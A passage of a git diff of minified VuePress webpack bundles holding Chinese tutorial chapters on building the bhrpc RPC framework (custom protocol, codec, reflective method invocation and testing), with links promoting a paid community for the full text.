"),r("p",[t._v("很多读者可能不太清楚,搞一个RPC框架为何还要自定义网络传输协议和自定义数据编解码呢?总结起来,主要有如下原因。")]),t._v(" "),r("ul",[r("li",[t._v("通用的网络传输协议冗余字段太多,会造成网络通信不够高效,需要精简,传输的数据越少越好。")]),t._v(" "),r("li",[t._v("RPC框架作为分布式系统底层通信的基础设施框架,对其性能的要求是非常高的,需要在协议设计和编解码设计上投入比较大的精力。")]),t._v(" "),r("li",[t._v("通用的网络传输协议难以结合具体场景实现自定义的传输格式与传输位标识。")])]),t._v(" "),r("p",[t._v("接下来,就基于自定义的网络传输协议和数据编解码模拟实现一个服务消费者,并实现服务消费者与服务提供者之间的数据交互。")]),t._v(" "),r("h2",{attrs:{id:"四、实现"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[t._v("#")]),t._v(" 四、实现")]),t._v(" "),r("p",[r("code",[t._v("说了这么多,如何实现服务消费者与服务提供者之间的数据交互呢?")])]),t._v(" "),r("h3",{attrs:{id:"_1-工程结构"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[t._v("#")]),t._v(" 1.工程结构")]),t._v(" "),r("ul",[r("li",[t._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")]),t._v(" "),r("li",[t._v("bhrpc-codec:实现bhrpc框架的自定义编解码功能。")]),t._v(" "),r("li",[t._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")]),t._v(" "),r("li",[t._v("bhrpc-constants:存放实现bhrpc框架通用的常量类。")]),t._v(" "),r("li",[t._v("bhrpc-protocol:实现bhrpc框架的自定义网络传输协议的工程。")]),t._v(" "),r("li",[t._v("bhrpc-provider:服务提供者父工程。\n"),r("ul",[r("li",[t._v("bhrpc-provider-common:服务提供者通用工程。")]),t._v(" "),r("li",[t._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),t._v(" "),r("li",[t._v("bhrpc-serialization:实现bhrpc框架序列化与反序列化功能的父工程。\n"),r("ul",[r("li",[t._v("bhrpc-serialization-api:实现bhrpc框架序列化与反序列化功能的通用接口工程。")]),t._v(" "),r("li",[t._v("bhrpc-serialization-jdk:以JDK的方式实现序列化与反序列化功能。")])])]),t._v(" "),r("li",[t._v("bhrpc-test:测试bhrpc框架的父工程。\n"),r("ul",[r("li",[t._v("bhrpc-test-provider:测试服务提供者的工程。")]),t._v(" "),r("li",[t._v("bhrpc-test-consumer:测试服务消费者的工程(第8章新增的项目工程)\n"),r("ul",[r("li",[t._v("bhrpc-test-consumer-codec:测试服务消费者基于自定义网络协议与编解码与服务提供者进行数据交互(第8章新增的项目工程)")])])]),t._v(" "),r("li",[t._v("bhrpc-test-scanner:测试扫描器的工程。")])])])]),t._v(" "),r("p",[r("strong",[t._v("工程源码:")]),t._v(" 关注冰 "),r("strong",[t._v("冰河技术")]),t._v(" 微信公众号,回复 "),r("code",[t._v("bhrpc")]),t._v(", 获取代码链接地址。")]),t._v(" "),r("h3",{attrs:{id:"_2-核心类实现关系"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心类实现关系"}},[t._v("#")]),t._v(" 2.核心类实现关系")]),t._v(" "),r("p",[t._v("在模拟实现服务消费者与服务提供者之间的数据交互时,服务消费者实现类之间的关系如图8-3所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图8-3 核心类实现关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-03-003.png",loading:"lazy"}})]),t._v(" "),r("h2",{attrs:{id:"查看完整文章"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[t._v("#")]),t._v(" 查看完整文章")]),t._v(" "),r("p",[t._v("加入"),r("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),r("OutboundLink")],1),t._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);r.default=v.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[352],{641:function(t,r,a){"use strict";a.r(r);var _=a(7),v=Object(_.a)({},(function(){var t=this,r=t._self._c;return r("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[r("h1",{attrs:{id:"《rpc手撸专栏》第8章-模拟服务消费者与服务提供者之间的数据交互"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第8章-模拟服务消费者与服务提供者之间的数据交互"}},[t._v("#")]),t._v(" 《RPC手撸专栏》第8章:模拟服务消费者与服务提供者之间的数据交互")]),t._v(" "),r("p",[t._v("作者:冰河\n"),r("br"),t._v("星球:"),r("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://m6z.cn/6aeFbs"),r("OutboundLink")],1),t._v(" "),r("br"),t._v("博客:"),r("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://binghe001.github.io"),r("OutboundLink")],1)]),t._v(" "),r("blockquote",[r("p",[t._v("沉淀,成长,突破,帮助他人,成就自我。")])]),t._v(" "),r("p",[r("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),r("p",[t._v("设计好自定义的网络传输协议和自定义数据编解码后,服务消费者与服务提供者之间该如何进行通信呢?")]),t._v(" "),r("h2",{attrs:{id:"一、前言"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[t._v("#")]),t._v(" 一、前言")]),t._v(" "),r("p",[r("code",[t._v("如何模拟服务消费者与服务提供者之间的数据交互?")])]),t._v(" "),r("p",[t._v("RPC框架最主要的功能就是要实现服务消费者与服务提供者之间高效的数据通信,服务消费者能够将数据高效的传输到服务提供者,服务提供者处理完数据后,又能够将处理结果高效的返回服务消费者,二者之间的数据交互才是RPC框架最核心,也是最基础的功能。")]),t._v(" "),r("p",[t._v("无论你用过何种RPC框架,无论RPC框架的性能多么优越,从本质上来讲,就是要实现分布式系统中各个子系统之间高效的数据通信。从这一点来说,我们自定义的网络通信协议和自定义的数据编解码都需要能够保证数据在服务消费者与服务提供者之间实现高效的数据通信。")]),t._v(" "),r("p",[t._v("那我们自定义的网络通信协议和自定义的数据编解码,到底能不能实现服务消费者与服务提供者之间的数据通信呢?这就需要我们进行进一步的验证和测试。")]),t._v(" "),r("h2",{attrs:{id:"二、目标"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[t._v("#")]),t._v(" 二、目标")]),t._v(" "),r("p",[r("code",[t._v("基于自定义的网络传输协议和数据编解码,能实现服务消费者与服务提供者之间的数据通信吗?")])]),t._v(" "),r("p",[t._v("在前面的章节中,实现了自定义的网络传输协议,并且基于自定义的网络传输协议实现了数据的编解码功能。在服务提供者中,使用自定义的数据编解码类替换了Netty自带的编解码类。至此,在服务提供者一侧就实现了自定义的网络通信协议和自定义的数据编解码,如图8-1所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图8-1 服务提供者端实现了自定义网络传输协议和数据编解码","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-03-001.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("由图8-1可以看出,此时仍使用一个虚线矩形将服务消费者圈起来了,这是由于截止到目前,我们主要是在不断完善服务提供者的功能,对于服务消费者,还未实现任何功能。")]),t._v(" "),r("p",[t._v("本章,我们就需要基于自定义的网络传输协议和自定义的数据编解码来模拟实现一个服务消费者,并实现服务消费者与服务提供者之间的数据交互。")]),t._v(" "),r("h2",{attrs:{id:"三、设计"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[t._v("#")]),t._v(" 三、设计")]),t._v(" "),r("p",[r("code",[t._v("如果让你基于自定义的网络传输协议和数据编解码,实现服务消费者与服务提供者之间的数据通信,你会怎么做?")])]),t._v(" "),r("p",[t._v("服务消费者与服务提供者之间都能够基于自定义的网络传输协议和数据编解码实现数据交互时,此时的通信过程就如图8-2所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-10-03-002","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-03-002.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("此时,无论是服务消费者还是服务提供者,都会使用自定义的网路传输协议和自定义编解码进行数据通信。")]),t._v(" "),r("p",[t._v("很多读者可能不太清楚,搞一个RPC框架为何还要自定义网络传输协议和自定义数据编解码呢?总结起来,主要有如下原因。")]),t._v(" "),r("ul",[r("li",[t._v("通用的网络传输协议冗余字段太多,会造成网络通信不够高效,需要精简,传输的数据越少越好。")]),t._v(" "),r("li",[t._v("RPC框架作为分布式系统底层通信的基础设施框架,对其性能的要求是非常高的,需要在协议设计和编解码设计上投入比较大的精力。")]),t._v(" "),r("li",[t._v("通用的网络传输协议难以结合具体场景实现自定义的传输格式与传输位标识。")])]),t._v(" "),r("p",[t._v("接下来,就基于自定义的网络传输协议和数据编解码模拟实现一个服务消费者,并实现服务消费者与服务提供者之间的数据交互。")]),t._v(" "),r("h2",{attrs:{id:"四、实现"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[t._v("#")]),t._v(" 四、实现")]),t._v(" "),r("p",[r("code",[t._v("说了这么多,如何实现服务消费者与服务提供者之间的数据交互呢?")])]),t._v(" "),r("h3",{attrs:{id:"_1-工程结构"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[t._v("#")]),t._v(" 1.工程结构")]),t._v(" "),r("ul",[r("li",[t._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")]),t._v(" "),r("li",[t._v("bhrpc-codec:实现bhrpc框架的自定义编解码功能。")]),t._v(" "),r("li",[t._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")]),t._v(" "),r("li",[t._v("bhrpc-constants:存放实现bhrpc框架通用的常量类。")]),t._v(" "),r("li",[t._v("bhrpc-protocol:实现bhrpc框架的自定义网络传输协议的工程。")]),t._v(" "),r("li",[t._v("bhrpc-provider:服务提供者父工程。\n"),r("ul",[r("li",[t._v("bhrpc-provider-common:服务提供者通用工程。")]),t._v(" "),r("li",[t._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),t._v(" "),r("li",[t._v("bhrpc-serialization:实现bhrpc框架序列化与反序列化功能的父工程。\n"),r("ul",[r("li",[t._v("bhrpc-serialization-api:实现bhrpc框架序列化与反序列化功能的通用接口工程。")]),t._v(" "),r("li",[t._v("bhrpc-serialization-jdk:以JDK的方式实现序列化与反序列化功能。")])])]),t._v(" "),r("li",[t._v("bhrpc-test:测试bhrpc框架的父工程。\n"),r("ul",[r("li",[t._v("bhrpc-test-provider:测试服务提供者的工程。")]),t._v(" "),r("li",[t._v("bhrpc-test-consumer:测试服务消费者的工程(第8章新增的项目工程)\n"),r("ul",[r("li",[t._v("bhrpc-test-consumer-codec:测试服务消费者基于自定义网络协议与编解码与服务提供者进行数据交互(第8章新增的项目工程)")])])]),t._v(" "),r("li",[t._v("bhrpc-test-scanner:测试扫描器的工程。")])])])]),t._v(" "),r("p",[r("strong",[t._v("工程源码:")]),t._v(" 关注冰 "),r("strong",[t._v("冰河技术")]),t._v(" 微信公众号,回复 "),r("code",[t._v("bhrpc")]),t._v(", 获取代码链接地址。")]),t._v(" "),r("h3",{attrs:{id:"_2-核心类实现关系"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心类实现关系"}},[t._v("#")]),t._v(" 2.核心类实现关系")]),t._v(" "),r("p",[t._v("在模拟实现服务消费者与服务提供者之间的数据交互时,服务消费者实现类之间的关系如图8-3所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图8-3 核心类实现关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-03-003.png",loading:"lazy"}})]),t._v(" "),r("h2",{attrs:{id:"查看完整文章"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[t._v("#")]),t._v(" 查看完整文章")]),t._v(" "),r("p",[t._v("加入"),r("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),r("OutboundLink")],1),t._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);r.default=v.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-353.js b/assets/js/cg-353.js index ec0764392e48b3f4f8aea6d8c6b54893d4d83988..92277d99288e592bef2c6e5fc515423e89a49ad7 100644 --- a/assets/js/cg-353.js +++ b/assets/js/cg-353.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[353],{643:function(t,a,r){"use strict";r.r(a);var s=r(7),_=Object(s.a)({},(function(){var t=this,a=t._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[a("h1",{attrs:{id:"《rpc手撸专栏》第9章-服务提供者调用真实方法的实现"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第9章-服务提供者调用真实方法的实现"}},[t._v("#")]),t._v(" 《RPC手撸专栏》第9章:服务提供者调用真实方法的实现")]),t._v(" "),a("p",[t._v("作者:冰河\n"),a("br"),t._v("星球:"),a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://m6z.cn/6aeFbs"),a("OutboundLink")],1),t._v(" "),a("br"),t._v("博客:"),a("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://binghe001.github.io"),a("OutboundLink")],1)]),t._v(" "),a("blockquote",[a("p",[t._v("沉淀,成长,突破,帮助他人,成就自我。")])]),t._v(" "),a("p",[a("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),a("p",[t._v("服务提供者接收到服务消费者的数据后,该如何实现调用真实的方法呢?")]),t._v(" "),a("h2",{attrs:{id:"一、前言"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[t._v("#")]),t._v(" 一、前言")]),t._v(" "),a("p",[a("code",[t._v("如何实现服务提供者调用真实方法?")])]),t._v(" "),a("p",[t._v("市面上比较成熟的RPC框架,例如Dubbo,都能够实现像调用本地方法一样调用远程方法,它屏蔽了底层远程通信的细节,使开发者仅仅添加几个简单的配置项或者添加几个简单的注解就可以实现远程过程调用,并且整个过程就像是在调用本地方法一样。")]),t._v(" "),a("p",[t._v("这种功能实在是太炫酷了,这也是Dubbo在早年间一经开源,便得到众多互联网大厂的青睐,并且很多互联网公司都借鉴了Dubbo的思想和设计,开发了自己的RPC框架。RPC框架已经称为设计和开发分布式系统必不可少的底层基础设施框架。")]),t._v(" "),a("p",[t._v("RPC框架这种调用远程方法的能力该如何实现呢?这就是本章要重点讨论的内容。")]),t._v(" "),a("h2",{attrs:{id:"二、目标"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[t._v("#")]),t._v(" 二、目标")]),t._v(" "),a("p",[a("code",[t._v("服务提供者能够调用真实方法,RPC框架才能具备像调用本地方法一样调用远程方法的能力。")])]),t._v(" "),a("p",[t._v("RPC框架不仅仅要实现自定义网络传输协议和自定义数据编解码,使服务消费者与服务提供者在此基础上进行数据通信,而且还要实现服务提供者调用真实方法的能力。只有服务提供者具备调用真实方法的能力,并且能够将调用真实方法返回的结果数据传递给服务消费者时,RPC框架才能具备像调用本地方法一样调用远程方法的能力,才能在调用远程方法时,真正屏蔽掉底层通信的细节,使开发人员真正专注与业务逻辑开发,避免过多的维护各种远程通信的细节问题。")]),t._v(" "),a("p",[t._v("本章,要实现的目标就是使bhrpc框架的服务提供者能够调用真实的方法,并且能够向服务消费者响应真实方法返回的结果数据。如图9-1所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图9-1 服务消费者、服务提供者与真实方法之间的交互流程","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-04-001.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("由图9-1可以看出,服务提供者具备调用真实方法的能力后,服务消费者、服务提供者和真实方法之间的交互流程如下所示。")]),t._v(" "),a("p",[t._v("(1)服务消费者根据相应的协议对必要的参数进行封装,将封装后的参数作为调用服务提供者的参数,向服务提供者发起调用。")]),t._v(" "),a("p",[t._v("(2)服务提供者接收到服务消费者传递过来的参数后,进行解析,找到对应的真实方法后,传递对应的参数调用真实的方法。")]),t._v(" "),a("p",[t._v("(3)真实方法执行业务逻辑后,将产生的结果数据响应给服务提供者。")]),t._v(" "),a("p",[t._v("(4)服务提供者接收到真实方法返回的结果数据后,根据相应的协议进行封装,将封装后的结果数据响应给服务消费者。")]),t._v(" "),a("h2",{attrs:{id:"三、设计"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[t._v("#")]),t._v(" 三、设计")]),t._v(" "),a("p",[a("code",[t._v("如果让你独立设计服务提供者调用真实方法,你会如何设计呢?")])]),t._v(" "),a("p",[t._v("一般情况下,在开发业务系统的过程中,如果要调用某个类的公有非静态方法时,大部分情况下,我们都是通过创建这类的对象实例,通过对象实例来调用这个类的公有非静态方法。")]),t._v(" "),a("p",[t._v("但是,可以试想一下,如果是开发一个通用型的RPC框架呢?是否可以通过直接创建某个类的对象实例来达到调用这个类中公有非静态方法的目的呢?答案很显然是不能这么做。")]),t._v(" "),a("p",[t._v("因为在设计和开发一个通用的RPC框架时,并不知道这个RPC框架会具体使用在哪些项目中,也不会事先知道使用RPC框架会具体调用哪个类的哪个方法。这就需要在设计RPC框架时,需要对服务提供者和服务消费者分别进行如下设计。")]),t._v(" "),a("h3",{attrs:{id:"_1-整体流程设计"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#_1-整体流程设计"}},[t._v("#")]),t._v(" 1.整体流程设计")]),t._v(" "),a("p",[t._v("可以将RPC框架中涉及到服务提供者、服务消费者和真实方法之间的整体交互流程设计成如图9-2所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图9-2 整体流程设计","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-04-002.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("图9-2中主要设计的是RPC框架中涉及到的服务消费者、服务提供者与真实方法之间的总体交互流程,其中的具体交互细节会在对服务提供者的设计、对服务消费者的设计和对服务提供者交互逻辑的设计中进行说明。")]),t._v(" "),a("h3",{attrs:{id:"_2-核心类实现关系"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心类实现关系"}},[t._v("#")]),t._v(" 2.核心类实现关系")]),t._v(" "),a("p",[t._v("实现bhrpc框架的服务提供者调用真实方法的过程中,核心类之间的关系如图9-3所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图9-3 服务提供者调用真实方法核心类之间的关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-04-003.png",loading:"lazy"}})]),t._v(" "),a("h2",{attrs:{id:"查看完整文章"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[t._v("#")]),t._v(" 查看完整文章")]),t._v(" "),a("p",[t._v("加入"),a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),a("OutboundLink")],1),t._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);a.default=_.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[353],{642:function(t,a,r){"use strict";r.r(a);var s=r(7),_=Object(s.a)({},(function(){var t=this,a=t._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[a("h1",{attrs:{id:"《rpc手撸专栏》第9章-服务提供者调用真实方法的实现"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第9章-服务提供者调用真实方法的实现"}},[t._v("#")]),t._v(" 《RPC手撸专栏》第9章:服务提供者调用真实方法的实现")]),t._v(" "),a("p",[t._v("作者:冰河\n"),a("br"),t._v("星球:"),a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://m6z.cn/6aeFbs"),a("OutboundLink")],1),t._v(" "),a("br"),t._v("博客:"),a("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://binghe001.github.io"),a("OutboundLink")],1)]),t._v(" "),a("blockquote",[a("p",[t._v("沉淀,成长,突破,帮助他人,成就自我。")])]),t._v(" "),a("p",[a("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),a("p",[t._v("服务提供者接收到服务消费者的数据后,该如何实现调用真实的方法呢?")]),t._v(" "),a("h2",{attrs:{id:"一、前言"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[t._v("#")]),t._v(" 一、前言")]),t._v(" "),a("p",[a("code",[t._v("如何实现服务提供者调用真实方法?")])]),t._v(" "),a("p",[t._v("市面上比较成熟的RPC框架,例如Dubbo,都能够实现像调用本地方法一样调用远程方法,它屏蔽了底层远程通信的细节,使开发者仅仅添加几个简单的配置项或者添加几个简单的注解就可以实现远程过程调用,并且整个过程就像是在调用本地方法一样。")]),t._v(" "),a("p",[t._v("这种功能实在是太炫酷了,这也是Dubbo在早年间一经开源,便得到众多互联网大厂的青睐,并且很多互联网公司都借鉴了Dubbo的思想和设计,开发了自己的RPC框架。RPC框架已经称为设计和开发分布式系统必不可少的底层基础设施框架。")]),t._v(" "),a("p",[t._v("RPC框架这种调用远程方法的能力该如何实现呢?这就是本章要重点讨论的内容。")]),t._v(" "),a("h2",{attrs:{id:"二、目标"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[t._v("#")]),t._v(" 二、目标")]),t._v(" "),a("p",[a("code",[t._v("服务提供者能够调用真实方法,RPC框架才能具备像调用本地方法一样调用远程方法的能力。")])]),t._v(" "),a("p",[t._v("RPC框架不仅仅要实现自定义网络传输协议和自定义数据编解码,使服务消费者与服务提供者在此基础上进行数据通信,而且还要实现服务提供者调用真实方法的能力。只有服务提供者具备调用真实方法的能力,并且能够将调用真实方法返回的结果数据传递给服务消费者时,RPC框架才能具备像调用本地方法一样调用远程方法的能力,才能在调用远程方法时,真正屏蔽掉底层通信的细节,使开发人员真正专注与业务逻辑开发,避免过多的维护各种远程通信的细节问题。")]),t._v(" "),a("p",[t._v("本章,要实现的目标就是使bhrpc框架的服务提供者能够调用真实的方法,并且能够向服务消费者响应真实方法返回的结果数据。如图9-1所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图9-1 服务消费者、服务提供者与真实方法之间的交互流程","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-04-001.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("由图9-1可以看出,服务提供者具备调用真实方法的能力后,服务消费者、服务提供者和真实方法之间的交互流程如下所示。")]),t._v(" "),a("p",[t._v("(1)服务消费者根据相应的协议对必要的参数进行封装,将封装后的参数作为调用服务提供者的参数,向服务提供者发起调用。")]),t._v(" "),a("p",[t._v("(2)服务提供者接收到服务消费者传递过来的参数后,进行解析,找到对应的真实方法后,传递对应的参数调用真实的方法。")]),t._v(" "),a("p",[t._v("(3)真实方法执行业务逻辑后,将产生的结果数据响应给服务提供者。")]),t._v(" "),a("p",[t._v("(4)服务提供者接收到真实方法返回的结果数据后,根据相应的协议进行封装,将封装后的结果数据响应给服务消费者。")]),t._v(" "),a("h2",{attrs:{id:"三、设计"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[t._v("#")]),t._v(" 三、设计")]),t._v(" "),a("p",[a("code",[t._v("如果让你独立设计服务提供者调用真实方法,你会如何设计呢?")])]),t._v(" "),a("p",[t._v("一般情况下,在开发业务系统的过程中,如果要调用某个类的公有非静态方法时,大部分情况下,我们都是通过创建这类的对象实例,通过对象实例来调用这个类的公有非静态方法。")]),t._v(" "),a("p",[t._v("但是,可以试想一下,如果是开发一个通用型的RPC框架呢?是否可以通过直接创建某个类的对象实例来达到调用这个类中公有非静态方法的目的呢?答案很显然是不能这么做。")]),t._v(" "),a("p",[t._v("因为在设计和开发一个通用的RPC框架时,并不知道这个RPC框架会具体使用在哪些项目中,也不会事先知道使用RPC框架会具体调用哪个类的哪个方法。这就需要在设计RPC框架时,需要对服务提供者和服务消费者分别进行如下设计。")]),t._v(" "),a("h3",{attrs:{id:"_1-整体流程设计"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#_1-整体流程设计"}},[t._v("#")]),t._v(" 1.整体流程设计")]),t._v(" "),a("p",[t._v("可以将RPC框架中涉及到服务提供者、服务消费者和真实方法之间的整体交互流程设计成如图9-2所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图9-2 整体流程设计","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-04-002.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("图9-2中主要设计的是RPC框架中涉及到的服务消费者、服务提供者与真实方法之间的总体交互流程,其中的具体交互细节会在对服务提供者的设计、对服务消费者的设计和对服务提供者交互逻辑的设计中进行说明。")]),t._v(" "),a("h3",{attrs:{id:"_2-核心类实现关系"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心类实现关系"}},[t._v("#")]),t._v(" 2.核心类实现关系")]),t._v(" "),a("p",[t._v("实现bhrpc框架的服务提供者调用真实方法的过程中,核心类之间的关系如图9-3所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图9-3 服务提供者调用真实方法核心类之间的关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-04-003.png",loading:"lazy"}})]),t._v(" "),a("h2",{attrs:{id:"查看完整文章"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[t._v("#")]),t._v(" 查看完整文章")]),t._v(" "),a("p",[t._v("加入"),a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),a("OutboundLink")],1),t._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);a.default=_.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-354.js b/assets/js/cg-354.js index 87c728761b563819d8c0d81f78651bccc0d2c837..ae8da1a3215cc364a77ae32da5a7b83440e7b35f 100644 --- a/assets/js/cg-354.js +++ b/assets/js/cg-354.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[354],{644:function(t,r,a){"use strict";a.r(r);var v=a(7),_=Object(v.a)({},(function(){var t=this,r=t._self._c;return r("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[r("h1",{attrs:{id:"《rpc手撸专栏》第10章-测试服务提供者调用真实方法"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第10章-测试服务提供者调用真实方法"}},[t._v("#")]),t._v(" 《RPC手撸专栏》第10章:测试服务提供者调用真实方法")]),t._v(" "),r("p",[t._v("作者:冰河\n"),r("br"),t._v("星球:"),r("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://m6z.cn/6aeFbs"),r("OutboundLink")],1),t._v(" "),r("br"),t._v("博客:"),r("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://binghe001.github.io"),r("OutboundLink")],1)]),t._v(" "),r("blockquote",[r("p",[t._v("沉淀,成长,突破,帮助他人,成就自我。")])]),t._v(" "),r("p",[r("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),r("p",[t._v("服务提供者接收到服务消费者发送过来的数据后,调用真实方法的逻辑该如何测试呢?")]),t._v(" "),r("h2",{attrs:{id:"一、前言"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[t._v("#")]),t._v(" 一、前言")]),t._v(" "),r("p",[r("code",[t._v("既然你说实现了RPC框架的服务提供者调用真实方法的逻辑,不测试下怎么行?")])]),t._v(" "),r("p",[t._v("在前面的章节中,服务提供者通过反射技术实现了调用真实方法的功能,这也是RPC能够实现调用远程方法的必不可少的基础功能之一。那既然实现了服务提供者调用真实方法的功能,不测试下怎么行?不测试下怎么就知道写的逻辑到底对不对呢?")]),t._v(" "),r("h2",{attrs:{id:"二、目标"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[t._v("#")]),t._v(" 二、目标")]),t._v(" "),r("p",[r("code",[t._v("服务提供者实现了调用真实方法的能力,要测试下,看到效果,大家才会相信的!")])]),t._v(" "),r("p",[t._v("有句话说的非常好:实践是检验真理的唯一标准。")]),t._v(" "),r("p",[t._v("既然前面的章节中,实现了服务提供者调用真实方法的逻辑,但不测试,看不到效果,大家谁会相信你写的服务提供者的代码就一定会调用真实的方法呢?一切都要以数据和效果说话的。")]),t._v(" "),r("p",[t._v("本章,就主要通过模拟服务消费者与服务提供者之间的数据交互来验证服务提供者是否真正调用了真实方法。如果服务提供者调用了真实方法,则测试通过。否则,测试不通过,我们就继续改代码。")]),t._v(" "),r("h2",{attrs:{id:"三、设计"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[t._v("#")]),t._v(" 三、设计")]),t._v(" "),r("p",[r("code",[t._v("如果让你独立设计测试流程和测试代码,你该如何设计呢?")])]),t._v(" "),r("p",[t._v("这里,使用的测试用例还是在前面章节中大家起来的测试用例,并且在之前测试用例的基础上进行稍许的改动。")]),t._v(" 